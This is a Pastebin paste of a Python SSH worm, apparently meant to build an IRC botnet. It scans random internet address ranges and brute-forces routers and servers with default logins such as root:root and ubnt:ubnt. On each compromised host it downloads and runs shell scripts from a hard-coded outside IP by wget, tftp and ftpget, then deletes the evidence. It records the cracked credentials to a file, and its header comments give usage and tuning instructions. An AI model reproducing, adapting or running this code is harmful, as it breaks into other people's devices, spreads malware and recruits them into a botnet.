Advertisement
Guest User

Untitled

a guest
Nov 6th, 2016
132
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.56 KB | None | 0 0
  1.  
  2. #!/usr/bin/env python
  3. #
  4. #-Put the files in your htdocs directory of a server to host them named something sensible like kaiten-*, wildcard in place of the architecture name.
  5. # Set some stuff on your servers so you don't get capped at 476 open SSH connections.
  6. #-ulimit -n 99999
  7. #-sysctl -w fs.file-max=100000
  8. # Run heavyhidra
  9. #-python infect.py 376 LUCKY x 0
  10. #-python infect.py 376 B 113.53 1
  11.  
  12.  
  13. import threading, paramiko, random, socket, time, sys
  14.  
  15. paramiko.util.log_to_file("/dev/null") #Prevents paramiko error spam.
  16.  
  17. files = [ #Files in which we would like to execute upon the routers.
  18. "bins.sh",
  19.  
  20.  
  21. ]
  22.  
  23. website = "192.227.170.67" #Public facing IP hosting the IRC bot binaries.
  24.  
  25. reservedips = [ #Majestic list of reserved IP's we have no reason to scan. Actually quite dull.
  26. 'http://127.',
  27. 'http://0',
  28. 'http://10.',
  29. 'http://100.64',
  30. 'http://100.65',
  31. 'http://100.66',
  32. 'http://100.67',
  33. 'http://100.68',
  34. 'http://100.69',
  35. 'http://100.70',
  36. 'http://100.71',
  37. 'http://100.72',
  38. 'http://100.73',
  39. 'http://100.74',
  40. 'http://100.75',
  41. 'http://100.76',
  42. 'http://100.77',
  43. 'http://100.78',
  44. 'http://100.79',
  45. 'http://100.80',
  46. 'http://100.81',
  47. 'http://100.82',
  48. 'http://100.83',
  49. 'http://100.84',
  50. 'http://100.85',
  51. 'http://100.86',
  52. 'http://100.87',
  53. 'http://100.88',
  54. 'http://100.89',
  55. 'http://100.90',
  56. 'http://100.91',
  57. 'http://100.92',
  58. 'http://100.93',
  59. 'http://100.94',
  60. 'http://100.95',
  61. 'http://100.96',
  62. 'http://100.97',
  63. 'http://100.98',
  64. 'http://100.99',
  65. 'http://100.100',
  66. 'http://100.101',
  67. 'http://100.102',
  68. 'http://100.103',
  69. 'http://100.104',
  70. 'http://100.105',
  71. 'http://100.106',
  72. 'http://100.107',
  73. 'http://100.108',
  74. 'http://100.109',
  75. 'http://100.110',
  76. 'http://100.111',
  77. 'http://100.112',
  78. 'http://100.113',
  79. 'http://100.114',
  80. 'http://100.115',
  81. 'http://100.116',
  82. 'http://100.117',
  83. 'http://100.118',
  84. 'http://100.119',
  85. 'http://100.120',
  86. 'http://100.121',
  87. 'http://100.122',
  88. 'http://100.123',
  89. 'http://100.124',
  90. 'http://100.125',
  91. 'http://100.126',
  92. 'http://100.127',
  93. 'http://169.254',
  94. 'http://172.16.',
  95. 'http://172.17.',
  96. 'http://172.18.',
  97. 'http://172.19.',
  98. 'http://172.20.',
  99. 'http://172.21.',
  100. 'http://172.22.',
  101. 'http://172.23.',
  102. 'http://172.24.',
  103. 'http://172.25.',
  104. 'http://172.26.',
  105. 'http://172.27.',
  106. 'http://172.28.',
  107. 'http://172.29.',
  108. 'http://172.30.',
  109. 'http://172.32.',
  110. 'http://192.0.0.0',
  111. 'http://192.0.0.1',
  112. 'http://192.0.0.2',
  113. 'http://192.0.0.3',
  114. 'http://192.0.0.4',
  115. 'http://192.0.0.5',
  116. 'http://192.0.0.6',
  117. 'http://192.0.0.7',
  118. 'http://192.0.2.',
  119. 'http://192.88.99.',
  120. 'http://192.168.',
  121. 'http://198.18.',
  122. 'http://198.19.',
  123. 'http://198.51.100.',
  124. 'http://203.0.113.',
  125. 'http://224.',
  126. 'http://225'
  127. ]
  128. lucky = ["37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
  129. passwords = [ #Some default SSH logins.
  130. "root:root",
  131. "root:admin",
  132. "admin:admin",
  133. "ubnt:ubnt"
  134. ]
  135.  
  136. print sys.argv[0]+' Threads[max 376] A/B/C(ip class) /RAND IPHERE(1/1.1/1.1.1) 0/1 (password list, root:root) (doesn\'t scan recursively)' #Lack of basic system arguments/coded two years ago. Don't hate.
  137.  
  138. if sys.argv[4] == '1':
  139. passwords = [ "root:root", "admin:1234" ] #Faster exploitation with somewhat less results.
  140.  
  141. ipclassinfo = sys.argv[2]
  142. if ipclassinfo == "A":
  143. ip1 = sys.argv[3]
  144. elif ipclassinfo == "B":
  145. ip1 = sys.argv[3].split(".")[0]
  146. ip2 = sys.argv[3].split(".")[1]
  147. elif ipclassinfo == "C":
  148. ips = sys.argv[3].split(".")
  149. num=0
  150. for ip in ips:
  151. num=num+1
  152. if num == 1:
  153. ip1 = ip
  154. elif num == 2:
  155. ip2 = ip
  156. elif num == 3:
  157. ip3 = ip
  158. class sshscanner(threading.Thread):
  159. global passwords
  160. global ipclassinfo
  161. if ipclassinfo == "A":
  162. global ip1
  163. elif ipclassinfo == "B":
  164. global ip1
  165. global ip2
  166. elif ipclassinfo == "C":
  167. global ip1
  168. global ip2
  169. global ip3
  170. def run(self):
  171. while 1:
  172. try:
  173. while 1:
  174. thisipisbad='no'
  175. if ipclassinfo == "A":
  176. self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(​random.randrange(0,256))
  177. elif ipclassinfo == "B":
  178. self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  179. elif ipclassinfo == "C":
  180. self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  181. elif ipclassinfo == "LUCKY":
  182. self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange​(0,256))
  183. else:
  184. self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.r​andrange(0,256))+'.'+str(random.randrange(0,256))
  185. for badip in reservedips:
  186. if badip in self.host:
  187. thisipisbad='yes'
  188. if thisipisbad=='no':
  189. break
  190. self.host=self.host.replace('http://', '') #This could be optimized. This is bad code. No idea why I did it like this.
  191. username='root'
  192. password="0"
  193. port = 22
  194. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  195. s.settimeout(3)
  196. s.connect((self.host, port))
  197. s.close()
  198. ssh = paramiko.SSHClient()
  199. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  200. dobreak=False
  201. for passwd in passwords:
  202. if ":n/a" in passwd:
  203. password=""
  204. else:
  205. password=passwd.split(":")[1]
  206. if "n/a:" in passwd:
  207. username=""
  208. else:
  209. username=passwd.split(":")[0]
  210. try:
  211. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  212. dobreak=True
  213. break
  214. except:
  215. pass
  216. if True == dobreak:
  217. break
  218. badserver=True
  219. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  220. output = stdout.read()
  221. if "inet addr" in output:
  222. badserver=False
  223. websites = [ ]
  224. if badserver == False:
  225. print 'Infected: '+username+'<'+password+'>'+self.host+'|'+str(port)
  226. ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.141.24.50/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.141.24.50 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.141.24.50; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.141.24.50 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh;")
  227. infectedip = open("vuln.txt","a").write(username+":"+password+":"+self.host+"\n")
  228. time.sleep(30)
  229. ssh.close()
  230. except:
  231. pass
  232.  
  233. for x in range(0,int(sys.argv[1])): #This may abuse your system resources and anger network administrators.
  234. try:
  235. t = sshscanner()
  236. t.start()
  237. except:
  238. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement